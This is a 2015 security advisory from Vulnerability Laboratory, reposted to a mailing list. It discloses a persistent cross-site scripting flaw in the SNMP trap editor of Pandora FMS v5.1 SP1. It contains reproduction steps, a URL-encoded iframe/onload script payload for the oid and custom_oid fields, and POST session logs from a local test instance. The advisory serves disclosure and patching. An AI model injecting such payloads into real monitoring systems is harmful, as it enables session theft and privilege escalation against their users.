[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Pandora FMS v5.1 SP1 - Persistent SNMP Editor Vulnerability



Document Title:
===============
Pandora FMS v5.1 SP1 - Persistent SNMP Editor Vulnerability


References (Source):
====================
http://vulnerability-lab.com/get_content.php?id=1356


Release Date:
=============
2015-01-14


Vulnerability Laboratory ID (VL-ID):
====================================
1356


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
Pandora FMS is a monitoring Open Source software. It watches your systems and 
applications, and allows you to 
know the status of any element of those systems. Pandora FMS could detect a 
network interface down, a defacement 
in your website, a memory leak in one of your server application, or the 
movement of any value of the NASDAQ 
new technology market. 

    * Detect new systems in network.
    * Checks for availability or performance.
    * Raise alerts when something goes wrong.
    * Allow to get data inside systems with its own lite agents (for almost 
every Operating System).
    * Allow to get data from outside, using only network probes. Including SNMP.


    * Get SNMP Traps from generic network devices. 
    * Generate real time reports and graphics.
    * SLA reporting.
    * User defined graphical views.
    * Store data for months, ready to be used on reporting.
    * Real time graphs for every module. 
    * High availability for each component.
    * Scalable and modular architecture.
    * Supports up to 2500 modules per server.
    * User defined alerts. Also could be used to react on incidents.
    * Integrated incident manager.
    * Integrated DB management: purge and DB compaction. 
    * Multiuser, multi profile, multi group.
    * Event system with user validation for operation in teams.
    * Granularity of accesses and user profiles for each group and each user.
    * Profiles could be personalized using up to eight security attributes 
without limitation on groups or profiles. 

Pandora FMS runs on any operating system, with specific agents for each 
platform, gathering data and sending it to a 
server, it has specific agents for GNU/Linux, AIX, Solaris, HP-UX, BSD/IPSO, 
and Windows 2000, XP and 2003.

(Copy of the Vendor Homepage: 
http://pandorafms.org/index.php?sec=project&sec2=home&lang=en)


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a persistent web 
vulnerability in the official Pandora FMS v5.1 SP1 monitoring web-application.


Vulnerability Disclosure Timeline:
==================================
2015-01-14:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Artica Sulociones Tecnologicas
Product: Pandora FMS - Monitoring Web Application 5.1 SP1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side input validation web vulnerability has been discovered in 
the official Pandora FMS v5.1 SP1 monitoring web-application.
The vulnerability allows an attacker to inject own script code as payload to 
the application-side of the vulnerable service function or module.

The vulnerability is located in the `oid` and `custom_oid` value of the `snmp 
trap editor` module. Remote attackers with low privileged user accounts 
are able to manipulate the create POST method request of the `snmp trap editor` 
module to compromise user session information. The attack vector is 
persistent on the application-side and the request method to inject is POST. 
The issue allows to stream persistent malicious script codes to the 
front site of the `snmp trap editor` module were the `item context` becomes 
visible as list. Local low privileged application user accounts with 
access to the snmp editor can inject own malicious script code to steal session 
information of a higher privileged monitoring application user account.

The security risk of the application-side web vulnerability is estimated as 
medium with a cvss (common vulnerability scoring system) count of 3.4.
Exploitation of the application-side web vulnerability requires a low 
privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerabilities result in persistent phishing 
mails, session hijacking, persistent external redirect to malicious 
sources and application-side manipulation of affected or connected module 
context.

Request Method(s):
                                        [+] POST

Vulnerable Module(s):
                                        [+] SNMP > SNMP Trap Editor 

Vulnerable Parameter(s):
                                        [+] oid
                                        [+] custom_oid

Affected Module(s):
                                        [+] SNMP Trap Editor - Index


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by remote 
attackers with low privileged application user accounts 
and low user interaction. For security demonstration or to reproduce the 
vulnerability follow the provided information and steps 
below to continue. 

Manual steps to reproduce the vulnerability ...
1. Open the pandora fms web-application and login with a low privileged user 
account that is allowed to access the monitoring snmp editor module
2. Surf to the SNMP > SNMP trap editor
3. Create a new entry to inject own payloads with script code to the OID & 
Customer OID input fields
4. Save the input
Note: The monitoring service refreshs to list after the POST method request to 
add and displays the stored items of the snmp trap editor
5. The execution occurs of the injected script code occurs on the 
application-side of the service in the item output listing of the 
snmp_trap_editor
6. Successful reproduce of the security vulnerability!


Payload: (SNMP trap editor - Create)
oid=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C++%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C
&custom_oid=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C++%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C">"
><iframe src="a" onload="alert("VL")" <="" "=""><iframe src=a 
>onload=alert("VL") <


PoC: Exploit (SNMP trap editor - After the Create)
<table style="width:98%;" class="databox" id="table3" border="0" 
cellpadding="4" cellspacing="4"><thead><tr><th class="header c0" 
scope="col">OID</th><th class="header c1" scope="col">Custom OID</th><th 
class="header c2" scope="col">Severity</th><th class="header c3" 
scope="col">Text</th><th class="header c4" scope="col">Description</th><th 
class="header c5" scope="col">Actions</th></tr></thead>
<tbody>
<tr id="table3-0" style="" class="datos2">
<td id="table3-0-0" style="" class="datos2 "><a 
href="index.php?sec=estado&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor_form&
oid=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C++%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C&
custom_oid=%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C++%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C">"
><iframe src="a" onload="alert("VL")" <="" "=""><iframe src=a 
>onload=alert("VL") <</a></td>
<td id="table3-0-1" style=""   class="datos2 ">


--- PoC Session Logs [POST] ---
Status: 200[OK]
 POST 
http://fms.localhost:8080/pandora/index.php?sec=snmpconsole&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor_form
 
Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] 
Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[fms.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 
Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Referer[http://fms.localhost:8080/pandora/index.php?sec=estado&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor&delete_trap=1&id=-1%27]
      Cookie[PHPSESSID=21dq3ua37bcjcibptdn8uonk76]
      Connection[keep-alive]
      Cache-Control[max-age=0]
   POST-Daten:
      add_trap[1]
      crt[Create]
   Response Header:
      Date[Mon, 17 Nov 2014 00:38:29 GMT]
      Server[Apache/2.2.15 (CentOS)]
      X-Powered-By[PHP/5.3.3]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, 
pre-check=0]
      Pragma[no-cache]
      Set-Cookie[=deleted; expires=Sun, 17-Nov-2013 00:38:29 GMT; path=/
clippy=deleted; expires=Sun, 17-Nov-2013 00:38:29 GMT
=deleted; expires=Sun, 17-Nov-2013 00:38:29 GMT; path=/
clippy=deleted; expires=Sun, 17-Nov-2013 00:38:29 GMT]
      Connection[close]
      Transfer-Encoding[chunked]
      Content-Type[text/html; charset=UTF-8]
-
Status: 200[OK]
 POST 
http://fms.localhost:8080/pandora/index.php?sec=snmpconsole&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor
 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des 
Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[fms.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 
Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Referer[http://fms.localhost:8080/pandora/index.php?sec=snmpconsole&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor_form]
      Cookie[PHPSESSID=21dq3ua37bcjcibptdn8uonk76]
      Connection[keep-alive]
   POST-Daten:
      
oid[%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C+%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C]
      
custom_oid[%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C++%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C]
      severity[2]
      
text[%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C+++%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C]
      
description[%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C++%22%3E%3Ciframe+src%3Da+onload%3Dalert%28%22VL%22%29+%3C]
      add_trap[1]
      submit[Create]
   Response Header:
      Date[Mon, 17 Nov 2014 00:40:05 GMT]
      Server[Apache/2.2.15 (CentOS)]
      X-Powered-By[PHP/5.3.3]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, 
pre-check=0]
      Pragma[no-cache]
      Set-Cookie[=deleted; expires=Sun, 17-Nov-2013 00:40:05 GMT; path=/
clippy=deleted; expires=Sun, 17-Nov-2013 00:40:05 GMT
=deleted; expires=Sun, 17-Nov-2013 00:40:05 GMT; path=/
clippy=deleted; expires=Sun, 17-Nov-2013 00:40:05 GMT]
      Connection[close]
      Transfer-Encoding[chunked]
      Content-Type[text/html; charset=UTF-8]
-
Status: 200[OK]
GET http://fms.localhost:8080/pandora/%22%3E%3C[PERSISTENT INJECTED SCRIPT 
CODE!] 
Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[295] Mime Type[text/html]
   Request Header:
      Host[fms.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 
Firefox/33.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      
Referer[http://fms.localhost:8080/pandora/index.php?sec=snmpconsole&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor]
      Cookie[PHPSESSID=21dq3ua37bcjcibptdn8uonk76]
      Connection[keep-alive]
   Response Header:
      Date[Mon, 17 Nov 2014 00:40:07 GMT]
      Server[Apache/2.2.15 (CentOS)]
      Content-Length[295]
      Connection[close]
      Content-Type[text/html; charset=iso-8859-1]


Reference(s):
http://fms.localhost:8080/pandora/index.php?sec=snmpconsole&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor_form
http://fms.localhost:8080/pandora/index.php?sec=snmpconsole&sec2=enterprise/godmode/snmpconsole/snmp_trap_editor
http://fms.localhost:8080/pandora/



Solution - Fix & Patch:
=======================
The security vulnerability can be patched by a secure restriction or filtering 
of the OID and customer OID input fields.
Encode and parse the input field context to prevent persistent execution of 
script code through the vulnerable snmp editor module.


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in 
the pandora interface is estimated as medium. 
Lower privileged application user accounts are able to inject the code to steal 
session information and gain higher application access privileges.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a 
particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential 
loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen 
material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com              
                        - www.evolution-sec.com
Contact:    admin@xxxxxxxxxxxxxxxxxxxxx         - 
research@xxxxxxxxxxxxxxxxxxxxx                        - admin@xxxxxxxxxxxxxxxxx
Section:    magazine.vulnerability-db.com       - 
vulnerability-lab.com/contact.php                     - 
evolution-sec.com/contact
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab 
                        - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - 
vulnerability-lab.com/rss/rss_upcoming.php            - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - 
vulnerability-lab.com/list-of-bug-bounty-programs.php - 
vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file 
requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All 
other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, 
advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To 
record, list (feed), modify, use or edit our material contact 
(admin@xxxxxxxxxxxxxxxxxxxxx or research@xxxxxxxxxxxxxxxxxxxxx) to get a 
permission.

                                Copyright © 2015 | Vulnerability Laboratory - 
Evolution Security GmbH ™

-- 
COMPANY: Evolution Security GmbH - ADMINISTRATION
REPRESENTATIVES: Benjamin Kunz Mejri (DE)
LOCATION: HansRömhild Straße 14 @ 34128 Kassel (Hessen) in Germany
DOMAIN: www.evolution-sec.com
CONTACT: admin@xxxxxxxxxxxxxxxxx
PGP KEY: http://evolution-sec.com/admin@xxxxxxxxxxxxxxxxx%280x921A7E4C%29.asc

Phone: +49561-40064622 or 0561-40064622
Fax:  +49561-40066220 or 0561-40066220
Mobile:  +4915750765406 or 015750765406